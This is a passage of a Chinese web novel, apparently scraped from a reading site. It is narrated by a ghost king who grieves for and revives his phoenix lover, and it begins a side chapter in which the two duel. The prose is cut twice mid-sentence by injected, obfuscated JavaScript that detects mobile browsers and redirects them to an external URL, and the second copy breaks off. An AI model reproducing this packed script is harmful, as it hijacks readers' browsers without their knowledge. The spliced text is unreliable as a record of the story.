此刻,我贴在他的胸口,倾听着他的心跳。那一声声“咚咚”,像是最古老的鼓点,敲在我空无一物的“胸腔”位置。一种奇异的、从未有过的感觉,如同投入深潭的月光,无声无息地,在那里漾开一片微弱的、虚幻的涟漪。 我没有心。 但这一刻,我仿佛通过他,听见了心跳。 不是用耳朵,是用我全部的存在去感受。那节奏,那力量,那温热如此陌生,却又如此令人着迷。 我忽然不想放开。 就这么贴着,听着。 让这陌生的、属于生命的鼓点,暂时填补我那片冰冷的寂静。 仿佛这样,我这没有心的鬼,也能短暂地,偷来一丝心跳的错觉。 我以为时间会停留在这一刻。 我和他会永远长相厮守,毕竟,我是死人,最不缺的就是时间。 后来,天帝一道召令将他召回。 梧桐叶落尽的那个黄昏。 他接到仙界的传召,神色间有一闪而过的厌倦,但更多的是习以为常的淡然。他整理着月白的衣袍,红发在夕照下像即将冷却的余烬。 我就在旁边,化不成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17079671|192422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 形的雾气无聊地绕着树枝打转,心里还琢磨着明日用什么借口待在他身边。 “我回去一趟。”他说。 我当时想跟他一同前去,他不让,我想,他是四海八荒第一战神,是凤凰,是翱翔九天、无人可伤的存在。回一趟他出身、他守护的仙界,能有何事? 我看着他化作一道流光,消失在渐浓的暮色里。那背影清绝,却莫名让我想起秋日最后的孤雁。 然后,便是永夜。 消息传来时,我正在幽冥殿中,指尖还残留着镇压叛乱时沾染的、属于其他阎罗的冰冷魂血。 传讯的鬼卒声音都在发抖:“西南异动……战神凤渊……失控堕魔……” 堕魔? 两个字,像最阴毒的诅咒,瞬间冻结了我周身的鬼气。 不可能。 他那么强,那么耀眼,怎么可能会被控制心神。 我疯了一样赶往西南,只看到冲天的业火,以及插在焦土中、剑穗染血的问情剑。发了疯他看见我的那一刻,神智恢复稍许。 他记得我。 他记得他的爱人。 他让他的爱人杀了他。 那一刻,我才知道什么叫后悔。 那感觉不是突如其来的剧痛,而是无比致命的毒,顺着我每一缕雾气,渗进我空荡的“胸膛”里,日夜啃噬。 我后悔。 我后悔为什么没有坚持跟他一起去。哪怕仙界不欢迎我,哪怕要打进去,至少我在他身边。我的鬼雾可以替他挡下暗箭,我的力量可以和他并肩而战。 我后悔为什么没有更早察觉他平静下的暗流。仙界的倾轧,同僚的嫉恨,天帝的猜忌……我并非一无所知,却天真地以为,以他的实力和地位,足以应对。 我甚至后悔,为什么没有在更早的时候,就强行把他带回鬼界。管他什么战神职责,管他什么仙界定律。我的鬼界虽然比不上仙界繁华,但我可以用鬼力滋养出永不凋零的梧桐,造出假的阳光和微风。我可以把他藏起来,藏到谁也找不到的地方。 可是,我没有。 我让他一个人回去了。 回到那个布满蛛网般阴谋、充斥着虚伪与嫉妒的所谓仙界。 这个“如果”成了我此后千年里,最恶毒的心魔。每一次闭上眼,都能看见那个黄昏,看见他离去的背影。然后画面碎裂,变成他孤身陷入重围,业火焚身。 无数次,我在想象中冲过去,却每次都徒劳地穿透幻影。 这份后悔,化作了偏执的毒火。 它烧毁了我最后一丝对天道、定数的敬畏。凭什么?凭什么算计者高坐明堂,而赤诚者魂飞魄散?凭什么我的凤凰要成为权力更迭的祭品? 它让我不惜一切代价。 剥离魂力?好。 反噬噬心?行。 对抗天道?有何不可。 十世轮回,一次次靠近又被遗忘?我忍。千年孤寂,独自守着破碎的承诺?我等。 因为这一切痛苦的源头,都是那个黄昏,我轻轻的一声“嗯”,和他独自离去的背影。 我复活他,不仅仅是因为爱。 更是为了纠正那个错误。 是为了把那个黄昏被夺走的可能性,强行抢回来。 我要他活着,完整地活着,记住一切地活着。然后,我会补上那迟到了千年的“陪同”。 这次,无论他去哪里,是复仇的战场,还是至尊的宝座,我的雾气都将如影随形,我的力量都将与他交握。 我不会再让我的凤凰,独自面对任何风雨。我会拼尽一切让他稳坐高位,托举他成为万人之上的帝王。 哪怕代价是,我永世困在这份蚀骨的悔恨里,不得解脱。因为唯有这份悔恨带来的痛,和重新拥有他的执念,才能让我这没有心的鬼,感觉自己还像个人一样在活着,在不顾一切地去爱。 千年后,在忘川河中,我再次感觉到了那缕牵绊千年的魂魄——我的小凤凰,回来了。 忘川河畔重逢,那双眼睛里没了昔日的熟稔,只剩陌生的恐惧与质问。 他恨我,认定是我剥夺了他的阳寿,拆散他与父母。看着他泪流满面地挣扎,听着他对我的指控,千年前亲手封印他的痛楚再次撕裂我的魂魄。 我无法解释,也无须解释。鬼界的王,何时需要向人交代?既然言语苍白,那就用行动宣告。 我将他带回幽冥殿,禁锢在身边。他是我的鬼后,是我等待千年,失而复得的珍宝,这一次,谁也别想再将他从我身边夺走。 他不肯食魄,宁愿魂飞魄散;他假意撒娇,只为寻机逃离。 他所有的心思,在我看来都拙劣而清晰。我纵容他演戏,陪他游览鬼界,甚至打开还阳门,亲自将进入鬼界的灵魂送回人间。 我送他返回人间,并非放手。 而是仙界那群虚伪之徒将至,我不能让他的气息暴露。 果然,那些道貌岸然的仙使前来求援,提及焚煞,更敢提及他的名字!千年的怒火瞬间焚尽我的理智。 当年,正是他们的猜忌与陷害,令我的凤渊被煞气侵蚀,最终逼得我亲手将他封印!如今,他们有何脸面再来求我? 我将他们拒之门外。 我知道阿渊在人间亦不好过,魂魄与肉身排斥,阴气引来邪祟,村民视他为灾星。当他再次被逼至绝境,无助地扑进我怀里,违心说着喜欢时,我明知是谎,却仍甘之如饴。我驱散邪祟,带他重回鬼界,我的领地,他的归处。 他依旧闹,依旧想逃,与我争执不休。 可我知道,有什么东西在慢慢改变。 他问我为何选他,他探究我的过去。 当那记载着过往的卷轴在他面前展开,千年前的画面流转——梧桐林的初遇,仙宴上的对峙,林间的倾听心跳,饮下醉相思后的意乱情迷与互许终身……那些被他遗忘的,属于“凤渊”与“苍梧”的点点滴滴,终将重新连接我们的命运。 我是苍梧。 我无情,只因情皆系于一人;我霸道,因我无法再承受一次失去。 千年等待,十世轮回,所有的偏执与疯狂,都只为一句:小凤凰,欢迎回家。 这一次,生死轮回,再无别离。 35.IF线[番外] 鬼雾再次弥漫至梧桐林边缘时,凤渊正靠在梧桐树下。 “你又来了。”他没抬眼,声音懒洋洋的,“这次附在了什么上?该不会是石头吧。” 那团雾气在树下凝了凝:“比不比?” 凤渊垂眸。 苍梧周身的雾比以往任何一次都要凝实,隐约能窥见挺拔的人形轮廓,虽仍无清晰面目,但那份属于上位者的威仪不容错辨。 看来这位鬼王陛下,是认真的。 落叶打着旋儿飘落,穿过雾气时竟微微停滞了一瞬,凤渊问:“非要比试?” 雾气中声音沉稳:“你胜了本王,鬼界的宝物任你挑选。” 凤渊笑了。 他从枝头跃下,白衣墨发在风中扬起一抹洒脱的弧度。 落地时,足尖轻点,片叶不惊。 “你也任我选?” “行。” 答得毫不犹豫。 凤渊挑眉,眼底闪过一丝兴味。 “好。”他袖袍一挥,周遭梧桐林向外退开百丈,清出圆形的空地,“那便,请吧。” 黑雾冲天而起,在空中凝聚成更具压迫感的形态:“你终于肯应战了。” 凤渊抬手,掌心向上,赤色火焰自他指尖燃起,化作长剑虚影,“我也想试试鬼界之主的实力。” 在长剑成型的刹那,黑雾席卷而下。 梧桐林的枝叶疯狂摇曳,落叶似倾泻的暴雨。 一红一黑,两道光在空中碰撞。 剑气随碰撞扩散,所过之处,飘落的梧桐叶瞬间化为齑粉,就连百丈外的树木都微微震颤。 凤渊眼中讶异一闪而过,这是第一个能接下他一招的人。 剑光再起。 银光浩浩荡荡;黑芒如深渊裂口,吞噬一切。 两者在空中交织、碰撞、湮灭、再生……速度快得肉眼难辨,只余下漫天流光碎影。 百招过后。 凤渊额间沁出细汗,他脸上笑容依旧张扬,“鬼王殿下还要继续吗?” 黑雾收拢,重新凝聚成人形。 没有五官,但凤渊能感觉到,他的眼睛正紧紧盯着自己。 良久。 “你未用全力。”苍梧说。 “你也是。”凤渊收了剑。 又是一阵沉默。 然后,那团黑雾忽然坐了下来——是真的坐下,雾气的下半部分铺开,像一团 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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